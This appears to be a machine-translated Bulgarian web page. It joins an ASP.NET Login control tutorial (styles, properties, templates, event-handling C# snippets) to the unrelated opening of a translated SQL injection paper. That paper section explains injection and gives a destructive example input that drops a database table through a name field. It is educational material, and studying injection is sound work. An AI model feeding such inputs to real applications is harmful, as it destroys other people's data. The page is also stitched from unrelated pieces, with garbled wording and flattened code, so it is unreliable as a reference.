MyLoginTextBoxStyle ( курсор: показалец; цвят на фона: жълт; подравняване на текста: център; подложка: 6px; граница: пунктирано черно; семейство шрифтове: Verdana; вертикално подравняване: по средата; ) .Вход (дисплей: inline-block; ) .Заглавие (пълнеж: 6px;)

Този стилов файл може да бъде включен в страницата за вход, за да можете да стилизирате елемента Login:

Следната таблица изброява стиловете, поддържани от контролата за влизане. Всеки стил работи по същия начин. Свойствата на шрифта и цвета могат да бъдат зададени директно или можете да използвате свойството CssClass, за да посочите желания CSS клас:

Стилове, поддържани от контрола за влизане
стил Описание
CheckBoxStyle

Определя стилови свойства за квадратчето Запомни ме следващия път

FailureStyle

Указва стила за текста, който се показва при неуспешно влизане.

HyperLinkStyle

Контролата за влизане ви позволява да дефинирате няколко типа хипервръзки, като например към началната страница за регистрация. Този стил определя външния вид на такива хипервръзки.

InstructionTextStyle

Контролата за влизане ви позволява да посочите помощен текст, който се показва директно в самия него. Този стил определя външния вид на този текст.

LabelStyle

Определя стила за етикетите User Name (Потребителско име) и Password (Password)

LoginButtonStyle

Указва стила на бутона за влизане

TextBoxStyle

Указва стила за текстовите полета за потребителско име и парола

TitleTextStyle

Указва стила на заглавния текст за контролата за влизане

ValidatorTextStyle

Дефинира стилове за контроли, използвани за валидиране на потребителско име и парола

Потребителският интерфейс на елемента Login не само може да се персонализира чрез тези стилове; други допълнителни свойства са за специфични части от съдържанието на контролата, като бутона за влизане, които също ви позволяват да персонализирате GUI.

Например, можете да изберете текста, който да се показва на бутона за влизане, или дори да показвате хипервръзка вместо този бутон (както е зададено по подразбиране). Освен това можете да добавите множество хипервръзки към контролата за влизане, като например връзка към помощна страница или страница за регистрация. И двете страници трябва да са отворени за анонимен достъп, защото трябва да се предлага помощ и на анонимни потребители (не забравяйте, че ако някой види контролата за влизане, той е потенциално анонимен потребител). За да включите допълнителни връзки в Login, променете показаната по-рано дефиниция, както следва:

...

Този код показва две допълнителни връзки, една към страницата за помощ и една към страницата за първоначална регистрация, и добавя кратък текст с инструкции под заглавието на елемента Login:

Стиловете, описани по-рано, се отнасят и за тези свойства. Следната таблица описва важните свойства за персонализиране на контролата за влизане:

Важни свойства за персонализиране на контрола за влизане
Имот Описание
Текст на съобщението
Текст на заглавието

Текстът, показан в заглавието на контролата

текст на инструкция

Това свойство вече е използвано в предишния кодов фрагмент. Съдържа текста, показан под заглавието на контролата

Текст за грешка

Текст, показван от контролата за влизане, ако опитът за влизане е неуспешен

UserNameLabelText

Текст, показан като етикет пред текстовото поле за потребителско име

PasswordLabelText

Текст, показван като етикет пред текстовото поле за парола на потребителя

потребителско име

Първоначална стойност, която попълва текстовото поле на потребителското име

UsernameRequiredErrorMessage

Показва се съобщение за грешка, ако потребителят не е въвел име

PasswordRequiredErrorMessage

Показва се съобщение за грешка, ако потребителят не е въвел парола

Бутон за влизане
LoginButtonText

Текст, показван на бутона за влизане

LoginButtonType
LoginButtonImageUrl

Ако бутонът за влизане е представен като графично изображение, трябва да посочите URL адреса, където се намира това изображение

Страница за вход
DestinationPageUrl

Ако опитът за влизане е бил успешен, контролата за влизане пренасочва потребителя към тази страница. По подразбиране това свойство е празно. Ако е празно, използва рамката за удостоверяване на формуляри, за да пренасочи или към оригиналната заявена страница, или към defaultUrl, конфигуриран в web.config за удостоверяване на формуляри

FailureAction

Указва действието, което контролата предприема след неуспешен опит за влизане. Двете валидни опции са Refresh и RedirectToLoginPage. Първата стойност кара само текущата страница да бъде опреснена, докато втората стойност пренасочва към конфигурираната страница за вход. Втората опция е полезна, ако контролата за влизане се използва някъде другаде освен на страницата за влизане

VisibleWhenLoggedIn

Ако е зададено на false, контролата автоматично се скрива, ако потребителят вече е влязъл. Ако е зададено на true (по подразбиране), елементът Login се показва дори ако потребителят е влязъл.

Персонализиране на етикета „Запомни ме“.
DisplayRememberMe

Позволява ви да покажете или скриете квадратчето Запомни ме следващия път. Това свойство е зададено на true по подразбиране.

RememberMeSet

Указва стойността по подразбиране на квадратчето Запомни ме следващия път. По подразбиране това свойство е зададено на false, т.е. отметката не е отметната

Страница за регистрация
CreateUserUrl

Дефинира хипервръзка към страница на уеб сайт, която ви позволява да създадете (регистрирате) потребител. По този начин това обикновено се използва, за да позволи на потребителя достъп до страницата за първоначална регистрация. Това обикновено показва контролата CreateUserWizard.

Създаване на потребителски текст
CreateUserIconUrl

URL адресът на графиката за показване с текста на хипервръзката CreateUserUrl

Помощна страница
HelpPageUrl

URL за пренасочване на потребителя към помощната страница

HelpPageText
HelpPageIconUrl

URL адресът на иконата, показан заедно с текста на хипервръзката HelpPageUrl

Страница за възстановяване на парола
PasswordRecoveryUrl

URL адресът за пренасочване на потребителя към страницата за възстановяване на парола. Тази страница се използва, когато потребителят е забравил паролата. Обикновено показва контрола PasswordRecovery

PasswordRecoveryText
PasswordRecoveryIconUrl

URL адресът на иконата, показан заедно с текста на хипервръзката PasswordRecoveryUrl

Шаблони и контрол за влизане

Както можете да видите, благодарение на всички тези свойства контролата за влизане е много персонализирана. Но както вероятно сте забелязали, невъзможно е да се дефинира израз за валидиране на входа. Разбира се, можете да приложите валидиране от страна на сървъра вътре в процедурите за събития, предлагани от контролата за влизане. Когато искате да добавите някои елементи към съставната контрола Login, не можете да го направите чрез горните свойства. Например, какво ще стане, ако имате нужда от второ текстово поле за силно удостоверяване с втора парола или персонализиран ключ за достъп, както се прави на някои правителствени сайтове?

За щастие, подобно на други контроли като GridView, контролата за влизане поддържа шаблони. Използвайки шаблони, можете да персонализирате съдържанието на контролата за влизане без никакви ограничения. Можете да добавите всякакви нови контроли към него. Прилага персонализиран шаблон към контролата за влизане с помощта на манипулатор LayoutTemplate:

Впиши се

потребителско име:
Парола:


Разглеждайки горния код, възниква един въпрос: ако трябва да напишете толкова много UI код, когато персонализирате шаблон (или го проектирате във визуален дизайнер), защо не напишете своя собствена страница за вход, без да използвате контролата за влизане?

Това е правилният въпрос. Въпреки това, както беше обяснено по-рано, интерфейсната част е само една част от елемента Login. Например, в случай че потребител щракне върху бутона за влизане, контролата за влизане вече има целия необходим код за автоматично валидиране на потребителя спрямо хранилището за членство и пренасочване на потребителя към оригиналната страница, която е поискал чрез рамката за удостоверяване на формуляри. Така че определено сте спестени от караницата да пишете този код.

С правилните контроли и правилните стойности на ID за тези контроли, няма да е необходимо да пишете код за обработка на събития. Кодът работи по обичайния начин, с изключение на това, че дефинирате набор от контроли и тяхното оформление. Всъщност контролата за влизане изисква поне две текстови полета с идентификатори UserName и Password. Ако тези две текстови полета липсват (или имат различни стойности на ID), тогава Login ще хвърли изключение. Всички други контроли не са задължителни, но ако предоставите подходяща стойност на ID (като например Вход за бутон за влизане), тогава Входът автоматично ще обработва техните събития и ще се държи както при прилагане на оформлението по подразбиране.

Таблицата по-долу изброява стойностите на специалния идентификатор, типовете елементи, необходими за тях, и задължителния флаг:

Контролата за влизане може да бъде всяка контрола, която поддържа изхвърляне на събития и свойството CommandName. Важно е да зададете свойството CommandName на този елемент на Login, тъй като в противен случай контролата за влизане няма да го разпознае по време на обработката на събитието. Ако не добавите контрола със свойство CommandName, зададено на Login, ще трябва сами да управлявате събитията и да напишете подходящия код, за да потвърдите потребителското име и паролата и да пренасочите към първоначално поисканата страница.

Можете също да добавите контроли с други идентификатори, които изобщо нямат нищо общо с Login. Горният код използва елементите RequiredFieldValidator и RegularExpressionValidator за валидиране на полетата за потребителско име и парола.

Когато използвате LayoutTemplate, много от свойствата, които са естествени за контролата, стават недостъпни. Когато се приложи шаблон, остават налични само следните свойства:

    DestinationPageUrl

    VisibleWhenLoggedIn

  • Доставчик на членство

Всички свойства на стила и няколко свойства за задаване на текстовото съдържание на елементите по подразбиране вече не са налични в редактора на свойства на Visual Studio, тъй като могат да бъдат добавени ръчно като отделни контроли или статичен текст към шаблона на елемента за влизане. Ако ги добавите към елемента Login в режим на шаблон, те просто ще бъдат игнорирани, защото шаблонът замества интерфейса по подразбиране на елемента Login, който използва тези свойства.

Програмиране на контрола за влизане

Контролата за влизане поддържа няколко събития и свойства, които можете да използвате, за да персонализирате нейното поведение. Те осигуряват пълен контрол върху фината настройка на контролата за влизане (заедно с други инструменти за персонализиране като шаблони и стилови свойства). Контролата за влизане поддържа събитията, изброени в таблицата по-долу:

Контролни събития при влизане
Събитие Описание
Влизане

Задейства се точно преди потребителят да бъде удостоверен от контролата

Вписан

Задейства се, след като потребителят е удостоверен от контрола

Грешка при вписване

Задейства се, когато опитът за влизане на потребителя е неуспешен по някаква причина (например неправилна парола или потребителско име)

Удостоверяване

Инициирано за удостоверяване на потребител. Ако обработите това събитие, трябва сами да удостоверите потребителя и контролата за влизане ще разчита изцяло на вашия код за удостоверяване

Първите три събития могат да бъдат обработени за извършване на някои действия преди удостоверяване на потребителя, след удостоверяване и ако възникне грешка по време на удостоверяване. Например събитието LoginError може да се използва за автоматично пренасочване на потребителя към страницата за възстановяване на парола след определен брой опити за влизане, както е показано по-долу:

Protected void Page_Load(object sender, EventArgs e) ( if (!this.IsPostBack) ViewState["LoginErrors"] = 0; ) protected void Login1_LoginError(object sender, EventArgs e) ( // Ако състоянието LoginErrors не съществува, създайте it if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // Увеличава брояча на неуспешните опити за влизане int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["LoginErrors "] = ErrorCount ; // Проверете броя на неуспешните опити if ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); )

Контролата за влизане задейства събития в реда, показан на фигурата по-долу:

Както споменахме по-рано, ако улавяте събитието Authenticate, трябва да добавите собствено потребителско име и код за потвърждение на парола. Имот Удостоверяванеподдържа екземпляр на списъка с параметри AuthenticateEventArgs. Този клас на аргумент за събитие поддържа едно свойство, наречено Authenticated. Ако е зададено на true, контролата Login приема, че удостоверяването е успешно и задейства събитието LoggedIn. Ако зададете това свойство на false, ще се покаже FailureText и ще бъде предизвикано събитието LoginError:

Protected void Login1_Authenticate(object sender, AuthenticateEventArgs e) ( if (Membership.ValidateUser(Login1.UserName, Login1.Password)) ( e.Authenticated = true; ) else ( e.Authenticated = false; ) )

Както можете да видите, има директен достъп до въведените стойности чрез свойствата UserName и Password, които съдържат текста, въведен в съответните текстови полета. Ако използвате шаблонни контроли и искате да получите стойността от друг елемент, в допълнение към елементите с идентификатори UserName и Password, тогава можете да използвате метода FindControl(), за да получите този допълнителен елемент. Този метод взема идентификатора на желания елемент и връща екземпляр на System.Web.UI.Control. След това полученият обект просто се преобразува към типа на желаната контрола и се чете стойността, необходима за персонализирания метод за проверка на самоличността на потребителя.

Тази работа е превод на част от Разширено SQL инжектиране в SQL Server приложения на Крис Анли. ()
В следващите статии, ако има свободно време, този превод ще бъде завършен.

P.S. Преводът ще представлява по-голям интерес за образователни и исторически цели.

Оригинално заглавие на статията: Разширено SQL инжектиране в SQL приложения.

анотация

Тази статия обсъжда подробно общите методи на "SQL инжектиране" за добре познатата платформа Microsoft Internet Information Server/Active Server Pages/SQL Server. Той обсъжда различни употреби на SQL инжектиране в приложения и обяснява техниките за валидиране на данни и сигурността на базата данни, където инжектирането може да се използва.

Въведение

Структурираният език за заявки (SQL) е структуриран език, използван за взаимодействие с бази данни. Има много "диалекти" на езика SQL, но днес като цяло всички те са базирани на стандарта SQL-92, един от ранните стандарти на ANSI. Основната операционна единица на SQL е заявка, която е колекция от изрази, които обикновено връщат набор от резултати. SQL изразите могат да променят структурата на базите данни (използвайки изрази на езици за дефиниране на данни - DLL) и да управляват тяхното съдържание (използвайки изрази на езици за манипулиране на данни - DML). В тази статия ще разгледаме transact-SQL, използван в Microsoft SQL Server.

SQL инжектирането е възможно, когато атакуващият може да вмъкне свой собствен SQL код в заявка (заявка), за да контролира данните, които се изпращат до приложението.

Типичен SQL оператор изглежда така:

Изберете ID, име, фамилия от авторите

Този израз взема "идентификатор", "име" и "фамилия" от колони в таблицата "автори" и връща всички редове в таблицата. Извадката може да бъде ограничена до конкретен "автор", например:

Изберете ID, име, фамилия от авторите, където име = "john" и фамилия = "smith"

Трябва да се отбележи, че в дадено исканенизовите литерали са разделени с единични кавички. Предполага се, че "собствено име" и "фамилия" са данни, които се въвеждат от потребителя. В този случай нападателят ще може да направи своя собствена SQL заявка, като добави свои собствени стойности към приложението. Например:

Име: jo "hn Фамилия: смит

Тогава изразът ще приеме следната форма:

Изберете ID, име, фамилия от авторите, където име = "jo"hn" и фамилия = "smith"

След като базата данни се опита да обработи такава заявка, ще бъде върната следната грешка:

Сървър: Msg 170, ниво 15, състояние 1, ред 1 Ред 1: Неправилен синтаксис близо до „hn“.

Причината за грешката ще бъде, че въведената единична кавичка ще обърка структурата на разделителя в заявката. Така че базата данни ще се опита неуспешно да изпълни командата "hn", което ще доведе до грешка. В резултат на това, ако нападателят въведе следната информация във формуляра:

Име: jo"; пуснете автори на таблица-- Фамилия:

Таблицата "автори" ще бъде изтрита, защо се случва това ще видим по-късно.

Може би си мислите, че ако премахнем единичните кавички от формуляра за въвеждане и също така ги „заменим“, това може да реши проблема ни. И ще бъдете прави, но има някои проблеми с използването на този метод като решение на този проблем. Първо, не всички потребителски данни са "низове". Ако потребителската форма ще съдържа "id" на автора, който обикновено е число. Например нашата заявка може да изглежда така:

Изберете id, собствено име, фамилия от автори, където id=1234

В този случай кракерът може свободно да добавя всеки SQL израз след числовите данни. В други разновидности на SQL заявки се използват различни разделители. Например в Microsoft Jet DBMS разделителят ще бъде "#". Второ, "бягството" от единични кавички не е най-лесният начин за защита, както може да изглежда на пръв поглед. Ще говорим повече за това по-късно.

Нека вземем пример, базиран на страница за вход, базирана на Active Server Pages (ASP), която използва SQL за достъп до база данни, за да упълномощи потребител в приложение.

Ето кода на страницата, съдържаща формата за вход, в която се въвеждат потребителско име и парола.

Страница за вход

Влизам

потребителско име:
Парола:

По-долу е кодът (process_login.asp), който определя коректността на въведените данни.

Ново в сайта

>

Най - известен